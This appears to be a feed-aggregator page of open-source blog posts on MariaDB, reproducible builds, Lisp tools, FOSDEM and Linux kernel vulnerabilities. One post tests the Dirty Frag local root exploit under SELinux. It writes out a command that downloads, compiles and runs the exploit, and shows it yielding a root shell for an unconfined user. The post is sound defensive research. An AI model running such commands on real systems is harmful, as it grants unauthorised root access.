09 May 2026
Planet Grep
Frederic Descamps: Dealing with caching_sha2_password as authentication method in MariaDB Server
MariaDB Server supports different authentication methods just like MySQL. Depending on your installation, the number of available and active authentication plugins can vary. But you should always have those 3 by default: If we compare with MySQL 9.7, we can see only 2 default authentication plugins: About caching_sha2_password module In some packaging, the caching_sha2_password auhentication […]
09 May 2026 3:27am GMT
Frederic Descamps: Adding a New Data Type to MariaDB with Type_handler – Part 5
We are concluding our series related to new data types using the Type_handler framework, with some limitations that are not yet covered by the framework: It would have been handy for our MONEY datatype to have the possibility to define, for example, the currency to show. Or the format to have something like this: Unfortunately, […]
09 May 2026 3:27am GMT
Frederic Descamps: Adding a New Data Type to MariaDB with Type_handler – Part 4
This is part 4 of a series related to extending MariaDB with a custom data type using the Type_handler framework. You can find the previous articles below: Overriding Existing Types In the previous examples, our MONEY data type inherits from DOUBLE and then we override some methods. But all the methods of every type cannot […]
09 May 2026 3:27am GMT
08 May 2026
Planet Debian
Russell Coker: Dirty Frag on Debian and SE Linux
Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it's the first one I saw and it explains things well).
The Test System
The test system was running kernel 6.19.14+deb14-amd64 and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:
semanage login -m -s user_u -r s0 __default__ restorecon -R -v -F /home semanage login -m -s root -r s0 root # logout and login again semodule -X 100 -r unconfined
Strict Policy is Not Vulnerable
I did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as "strict policy") and got the following result:
test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp Cloning into 'dirtyfrag'... remote: Enumerating objects: 26, done. remote: Counting objects: 100% (26/26), done. remote: Compressing objects: 100% (20/20), done. remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0) Receiving objects: 100% (26/26), 5.83 MiB | 11.47 MiB/s, done. Resolving deltas: 100% (9/9), done. dirtyfrag: failed (rc=1) test@testing1:~/t/dirtyfrag$ ./exp dirtyfrag: failed (rc=1)
I checked the audit log and saw the following:
# audit2allow -al #============= user_t ============== allow user_t self:rxrpc_socket create; allow user_t self:user_namespace create;
It seems that the rxrpc_socket access is the main thing.
I did a search for domains permitted to use that class on a system without unconfined domains and saw the following:
# sesearch -A -c rxrpc_socket
allow daemon init_t:rxrpc_socket { getattr getopt ioctl read setopt write };
allow devicekit_disk_t domain:rxrpc_socket getattr;
allow sosreport_t domain:rxrpc_socket getattr;
allow sysadm_t domain:rxrpc_socket getattr;
This configuration doesn't appear to be vulnerable, at least to this form of the attack.
Unconfined Domains
I reinstalled the unconfined policy with the following command and assigned it to the user test2 with the following commands:
semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2 semanage login -a -s unconfined_u test2 restorecon -R -v -F /home/test2
I then tested the exploit as user test2 and got the following result:
test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp Cloning into 'dirtyfrag'... remote: Enumerating objects: 26, done. remote: Counting objects: 100% (26/26), done. remote: Compressing objects: 100% (20/20), done. remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0) Receiving objects: 100% (26/26), 5.83 MiB | 16.57 MiB/s, done. Resolving deltas: 100% (9/9), done. # id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 #
The kernel message log had the following lines from the time of the attack:
[ 1310.861545] Initializing XFRM netlink socket [ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni)) [ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni))) [ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added
Conclusion
It seems that we will be getting a lot of these so running SE Linux users as user_t is the right thing to do for servers and multi user systems.
- [1] https://etbe.coker.com.au/2026/05/04/copy-fail-on-debian-and-se-linux/
- [2] https://almalinux.org/blog/2026-05-07-dirty-frag/
08 May 2026 5:11am GMT
Daniel Baumann: Debian: Linux Vulnerability Mitigation (Dirty Frag)
After Copy Fail [CVE-2026-31431] from last week, the new Linux local root privilege escalations of today are Dirty Frag (Part 1) aka Copy Fail 2 [CVE-2026-43284] and Dirty Frag (Part 2) [CVE-2026-43500].
For those who can not update to linux >= 7.0.4-1 that was uploaded to sid and contains the needed fixes (backports for trixie are available in trixie-fastforward-backports), or are waiting for backports and updates to older Debian releases, or can't reboot on short notice, mitigations might be needed.
Given the current trend, it seems we will see more of these bugs in the future. Therefore, I've uploaded a new package linux-vulnerability-mitigation to sid containing the mitigation for both Copy Fail and Dirty Frag (with debconf multiselect).
Until it passed NEW, it can also be downloaded from here:
The package is architecture independent, has no dependencies, and can be installed on any version of Debian or Debian derivative.
Update: Updated text above and descriptions in linux-vulnerability-mitigation for Dirty Frag Part 2 [CVE-2026-43500].
08 May 2026 12:00am GMT
07 May 2026
Planet Debian
Reproducible Builds: Reproducible Builds in April 2026
Welcome to our April 2026 report from the Reproducible Builds project!
Our reports outline what we've been up to over the past month, highlighting items of news from elsewhere in the increasingly-important area of software supply-chain security. As ever, if you are interested in contributing to the Reproducible Builds project, please see the Contribute page on our website.
In this month's report, we cover:
- Tor stateless relays and Reproducible Builds
- Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux
- Reproducible Builds at LinuxFest NorthWest
- Reproducibility issues in Rust binaries that embed random bytes
- Distribution work
- Patches
- diffoscope development
- Documentation updates
- Misc news
Tor stateless relays and Reproducible Builds
An interesting post was published on Tor Project blog by Osservatorio Nessuno OdV this month on "stateless relays". These are stateless, diskless operating systems that are designed to be used as Tor exit relays. According to the post, which is titled A Server That Forgets: Exploring Stateless Relays:
For relay operators, this approach raises the security bar by enforcing better behaviors by design: […]
- Reproducibility. A system that doesn't change between reboots is easier to verify and, eventually, to reproduce and audit.
Furthermore, using a Trusted Platform Module (TPM), could allow for greater integrity in the future:
Transparency logs. Once you have a measured boot chain, you can publish it. A relay operator provides a recipe for a reproducible build; anyone can recompute the expected hash and verify it matches what the TPM reports. An append-only transparency log can make these attestations publicly auditable. The Tor community could run an independent monitor to track this across the relay fleet.
Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux
Congratulations to the Civil Infrastructure Platform (CIP) for reaching their 10-year anniversary last month. CIP has been a supporter of Reproducible Builds for many years, and we have collaborated on a number of technical issues that overlap. As Chris Lamb mentions in CIP's press release:
The collaboration between the Reproducible Builds project and CIP highlights a critical shift in how we approach industrial software. Through verifiability, CIP ensures that the open source foundation of our critical infrastructure is not only sustainable but also demonstrably secure. This commitment to transparency is vital for the trust and resilience required by critical systems over decades of operation."
Reproducible Builds at LinuxFest NorthWest
Vagrant Cascadian and Chris Lamb hosted a table in the exposition hall at LinuxFest NorthWest 2026 this month in Bellingham, WA, USA, introducing many people to Reproducible Builds and answering questions both days of the conference.
In addition, Vagrant presented Beyond Trusting Open Source Software on Sunday afternoon, exploring the intersection of Free/Open Source Software, Reproducible Builds and Bootstrappable builds, and how they all reinforce each other. Vagrant's slides are available online, including source code to build them reproducibly.
Reproducibility issues in Rust binaries that embed random bytes
Reproducible Builds developer kpcyrd opened a ticket on the Rustsec issue tracker regarding binaries that deliberately inject random bytes into their binaries "as a secret seed for a Hash Collision DoS mitigation."
As kpcyrd notes in his message, this causes issues for reproducibility, and because the relevant end-user binaries are "mostly distributed pre-compiled through package managers, those binaries (and by extension the secret seed) are public knowledge". kpcyrd goes on to note:
This is somewhat unique to Rust because Python/JavaScript doesn't compile binaries, and Go (to my knowledge) is too restrictive during build for any library to pull something like this.
Distribution work
In Arch Linux this month, Robin Candau and Mark Hegreberg worked at adding a new repro tag/version to the Arch Linux Docker images providing a bit-for-bit reproducible image. Robin also shared a related announcement and implementation details on our mailing list.
Arch Linux developer Robin Candau posted a blog post announcing that "Arch Linux Now Has a Bit-for-Bit Reproducible Docker Image". Robin mentions one interesting caveat:
to ensure reproducibility, the
pacman[package manager] keys have to be stripped from the image, meaning thatpacmanis not usable out of the box in this image. While waiting to find a suitable solution to this technical constraint, we are therefore providing this reproducible image under a dedicated tag as a first milestone. […]
The blog post was also discussed on Hacker News.
In Debian this month, 24 reviews of Debian packages were added, 7 were updated and 16 were removed this month adding to our knowledge about identified issues.
Vagrant Cascadian performed Non-Maintainer Uploads (NMUs) in Debian for several packages with outstanding patches over a year old jakarta-jmeter, wxmplot, critcl, vcsh and magic-wormhole-transit-relay.
In addition, Reproducible Builds developer Jochen Sprickerhof filed a bug against the APT package manager to request that "APT should ignore [a] 0 epoch when downloading or installing with a version specifier". This is related to the special-case handling of the optional epoch prefix in Debian package version numbers.
In NixOS, Julien Malka presented Lila: Decentralized Build Reproducibility Monitoring for the Functional Package Management Model, a paper written together with Arnout Engelen at the Mining Software Repositories (MSR) ACM conference, where it was awarded the MSR 2026 FOSS Impact Award. Congratulations!
Lastly, in openSUSE, Michael Schroeder added reproducibility verification support in the Open Build Service […] and Bernhard M. Wiedemann posted another openSUSE monthly update for their reproducibility work there.
Patches
The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where applicable or possible. This month, we wrote a large number of such patches, including:
-
Bernhard M. Wiedemann:
-
Chris Lamb:
- #1132876 filed against
wapiti. - #1133008 filed against
mage. - #1133174 filed against
vim-youcompleteme. - #1133958 filed against
python-observabilityclient. - #1133960 filed against
gwcs. - #1134236 filed against
php-dompdf. - #1134490 filed against
supercell. - #1134552 filed against
gunicorn. - #1134666 filed against
fonts-spleen. - #1134667 filed against
geoalchemy2. - #1134668 filed against
rust-opam-file-rs. - #1135003 filed against
spaln. - #1135104 filed against
python-msgspec. - #1135192 filed against
golang-github-go-ini-ini. - #1135193 filed against
golang-github-deruina-timberjack. - #1135269 filed against
ruby-timers. - #1135279 filed against
node-yarnpkg.
- #1132876 filed against
-
Jochen Sprickerhof:
-
Michael Schroeder:
-
Robin Candau:
-
Chris Lamb and Vagrant Cascadian:
-
Manuel Jacob
binutils(considerSOURCE_DATE_EPOCHwhen emitting static library archive header)
diffoscope development
diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes, including preparing and uploading versions, 316, 317 and 318 to Debian.
-
Chris Lamb:
-
Holger Levsen:
- Add
ppc64elto the list ofpython3-guestfsarchitecture whitelist. (Closes: #1132974). […]
- Add
In addition, Vagrant Cascadian updated diffoscope in GNU Guix to version 317.
Documentation updates
Yet again, there were a number of improvements made to our website this month including:
-
Manuel Jacob:
- Fix some minor wording issues on the Stable inputs page, and update information about the sorting behavior of GNU Make […].
- On the Archives page, remove information about deterministic archives in historical Fedora versions […], add a note about
.tarfile portability […] and correct a section about.tarPAX headers […].
-
Mattia Rizzolo:
- Add a basic draft, subject to change, of the 2026 Gothenberg Summit event page. […][…]
-
kpcyrd:
- Remove a link from the 2026 Gothenberg Summit event page. […]
-
ktecho:
- Add WalletScrutiny.com to the Projects page. […]
Misc news
On our mailing list this month:
-
Timo Pohl posted our list inviting people to "online group discussions with 4-6 participants each to talk about your perception of terms and requirements for reproducibility." As Timo notes:
During our research of the existing literature, as well as my experience at the Reproducible Builds Summit 2025 in Vienna, we noticed that some of the terminology in the field is not used consistently across different groups of people, and that the precise meaning of some core terms like "reproducibility of an artifact" in itself is not uniform.
As Timo mentions, the sessions will last roughly 90 minutes and will be rewarded with 50€ per participant.
-
kpcyrd posted to the list asking for assistance with fixing an issue after updating the
flake.lockfile for theirrepro-envproject. -
Aman Sharma of the KTH Royal Institute of Technology, Sweden, posted to our list in order to share that Eric Cornelissen, a PhD student in KTH's CHAINS group, is maintaining an open-source project to monitor the reproducibility of GitHub Actions:
The goal of the project is to assess whether GitHub Actions can be reproduced. Currently, it focuses on two types of Actions: JavaScript-based actions and Docker-based actions (composite actions are not considered). For JavaScript actions, the project rebuilds the distributed files and compares them bit-by-bit with the repository contents. For Docker actions, it rebuilds images from the
Dockerfileand checks for semantic equivalence, usingdiffoci, across builds.
Finally, if you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:
-
IRC:
#reproducible-buildsonirc.oftc.net. -
Mastodon: @reproducible_builds@fosstodon.org
-
Mailing list:
rb-general@lists.reproducible-builds.org
07 May 2026 9:16pm GMT
05 May 2026
Planet Lisp
ECL News: ECL 26.5.5 release
We are announcing a bugfix ECL release that addresses a few issues that has slipped through testing of the recent one.
Addressed issues:
-
bugfix: MAKE-PACKAGE destructively modified defining form's cons cells of the package local nicknames, breaking package literals in bytecmp (#839)
-
bugfix: the first environment is now always page-aligned by using the same allocation mechanism as all subsequent envs (#828)
-
bugfix: allow loading concatenated fasc files (#842)
-
bugfix: defclass does not redefine existing classes at compile time with forward-referenced classes in the bytecodes compiler (#843)
This release is available for download in a form of a source code archive (we do not ship prebuilt binaries):
Happy Hacking,
The ECL Developers
05 May 2026 12:00pm GMT
Gábor Melis: DRef Leaves Home
Version 0.5 of DRef, the definition reifier, is now available. It has moved to its own repository, completing its separation from PAX, where it was originally developed.

This was a long time coming. Twelve years ago today, PAX was born. From the start, PAX used the concept of locatives to refer to definitions without first-class objects. For example, to generate documentation for the *MY-VAR* variable, one could use the VARIABLE locative as in (*MY-VAR* VARIABLE). PAX needed to be able to tell whether such a definition exists, as well as access its docstring and source location.
Over time, this mechanism evolved into a portable, extensible introspection library independent of PAX. I began separating the two projects two years ago and named the new library, though they continued to share a repository. I have now removed the remaining dependencies so that DRef can live on its own.
05 May 2026 12:00am GMT
01 May 2026
Planet Lisp
Joe Marshall: Echoes of the Lisp Listener
The Lisp Machine Listener had an electric close parenthesis. When the user typed a close parenthesis, and this was the close parenthesis that finished the complete form at top level, the form would be sent to the REPL right away with no need to press enter. Here's how to get this behavior with SLY:
(defun my-sly-mrepl-electric-close-paren ()
"Insert ')' and auto-send ONLY if we are closing a top-level Lisp form."
(interactive)
(let ((state (syntax-ppss)))
(insert ")")
;; Safety checks:
;; 1. We were at depth 1 (so we are now at depth 0)
;; 2. We aren't in a string or comment
;; 3. The input actually starts with a paren (it's a form, not a sentence)
(when (and (= (car state) 1)
(not (nth 3 state))
(not (nth 4 state))
(string-match-p "^\\s-*("
(buffer-substring-no-properties (sly-mrepl--mark) (point))))
(sly-mrepl-return))))
Another cool hack is to get the REPL to do double duty as a command line to the LLM chatbot. When you type RET in the REPL, it will check if the input is a complete lisp form. If so, it will send the form to the REPL as normal. If not, it will send the input to the chatbot. Here's how to do this:
(defun my-sly-mrepl-electric-return ()
"Send to Lisp if it's a form/symbol, or wrap in (chat ...) if it's a sentence."
(interactive)
(let* ((beg (marker-position (sly-mrepl--mark)))
(end (point-max))
(input (buffer-substring-no-properties beg end))
(trimmed (string-trim input)))
(cond
;; If it's empty, just do a normal return
((string-blank-p trimmed)
(sly-mrepl-return))
;; If it starts with a paren, quote, or hash, it's definitely a Lisp form
((string-match-p "^\\s-*[(#'\"]" trimmed)
(sly-mrepl-return))
;; If it's a single word (no spaces), treat it as a symbol/form (e.g., *package*)
((not (string-match-p "\\s-" trimmed))
(sly-mrepl-return))
;; Otherwise, it's a sentence. Wrap it and fire.
(t
(delete-region beg end)
(insert (format "(chat %S)" trimmed))
(sly-mrepl-return)))))
Install as follows:
;; Apply to SLY MREPL with a safety check for the mode map (with-eval-after-load 'sly-mrepl (define-key sly-mrepl-mode-map (kbd "RET") 'my-sly-mrepl-electric-return) (define-key sly-mrepl-mode-map (kbd ")") 'my-sly-mrepl-electric-close-paren))
01 May 2026 5:29pm GMT
25 Apr 2026
FOSDEM 2026
All FOSDEM 2026 videos are online
All video recordings from FOSDEM 2026 that are worth publishing have been processed and released. Videos are linked from the individual schedule pages for the talks and the full schedule page. They are also available, organised by room, at video.fosdem.org/2026. While all released videos have been reviewed by a human, it remains possible that one or more issues fell through the cracks. If you notice any problem with a video you care about, please let us know as soon as possible so we can look into it before the video-processing infrastructure is shut down for this edition. To report any舰
25 Apr 2026 10:00pm GMT
29 Jan 2026
FOSDEM 2026
Join the FOSDEM Treasure Hunt!
Are you ready for another challenge? We're excited to host the second yearly edition of our treasure hunt at FOSDEM! Participants must solve five sequential challenges to uncover the final answer. Update: the treasure hunt has been successfully solved by multiple participants, and the main prizes have now been claimed. But the fun doesn't stop here. If you still manage to find the correct final answer and go to Infodesk K, you will receive a small consolation prize as a reward for your effort. If you're still looking for a challenge, the 2025 treasure hunt is still unsolved, so舰
29 Jan 2026 11:00pm GMT
26 Jan 2026
FOSDEM 2026
Call for volunteers
With FOSDEM just a few days away, it is time for us to enlist your help. Every year, an enthusiastic band of volunteers make FOSDEM happen and make it a fun and safe place for all our attendees. We could not do this without you. This year we again need as many hands as possible, especially for heralding during the conference, during the buildup (starting Friday at noon) and teardown (Sunday evening). No need to worry about missing lunch at the weekend, food will be provided. Would you like to be part of the team that makes FOSDEM tick?舰
26 Jan 2026 11:00pm GMT









